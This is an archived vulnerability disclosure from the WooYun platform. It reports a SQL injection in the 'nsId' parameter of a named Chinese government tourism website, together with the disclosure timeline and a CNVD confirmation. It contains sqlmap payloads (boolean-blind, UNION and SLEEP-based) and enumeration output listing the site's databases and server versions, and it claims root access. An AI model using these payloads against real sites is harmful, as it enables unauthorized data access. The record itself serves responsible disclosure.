乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-08-02: 细节已通知厂商并且等待厂商处理中 2015-08-05: 厂商已经确认,细节仅向厂商公开 2015-08-15: 细节向核心白帽子及相关领域专家公开 2015-08-25: 细节向普通白帽子公开 2015-09-04: 细节向实习白帽子公开 2015-09-19: 细节向公众公开
--root权限--
注射地址
http://www.astour.gov.cn/newsPage.php?nsId=2389
nsid参数存在注入
sqlmap identified the following injection points with a total of 0 HTTP(s) requsts:---Place: GETParameter: nsId Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: nsId=2389 AND 4955=4955 Type: UNION query Title: MySQL UNION query (NULL) - 11 columns Payload: nsId=2389 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a6c6b723a,0x45a4a544f6a546f544a,0x3a6f78673a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL, NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: nsId=2389 AND SLEEP(5)---[21:32:42] [INFO] the back-end DBMS is MySQLweb server operating system: Windowsweb application technology: PHP 5.3.29, Apache 2.4.10back-end DBMS: MySQL 5.0.11[21:32:42] [INFO] fetching database names[21:32:42] [INFO] the SQL query used returns 7 entries[21:32:42] [INFO] resumed: "information_schema"[21:32:42] [INFO] resumed: "mysql"[21:32:42] [INFO] resumed: "performance_schema"[21:32:42] [INFO] resumed: "test"[21:32:42] [INFO] resumed: "travel_db"[21:32:42] [INFO] resumed: "travel_db_20150616"[21:32:42] [INFO] resumed: "travel_db_20150617"available databases [7]:[*] information_schema[*] mysql[*] performance_schema[*] test[*] travel_db[*] travel_db_20150616[*] travel_db_20150617[21:32:42] [WARNING] cannot properly display Unicode characters inside WindowsS command prompt (http://bugs.python.org/issue1602). All unhandled occurances wll result in replacement with '?' character. Please, find proper character reprsentation inside corresponding output files.[21:32:42] [INFO] fetched data logged to text files under 'F:\??????????web??\sl??\sqlkeny\Bin\output\www.astour.gov.cn'
root权限
你们懂!
危害等级:高
漏洞Rank:10
确认时间:2015-08-05 10:05
CNVD确认并复现所述情况,已经转由CNCERT下发给辽宁分中心,由其后续协调网站管理单位处置。
暂无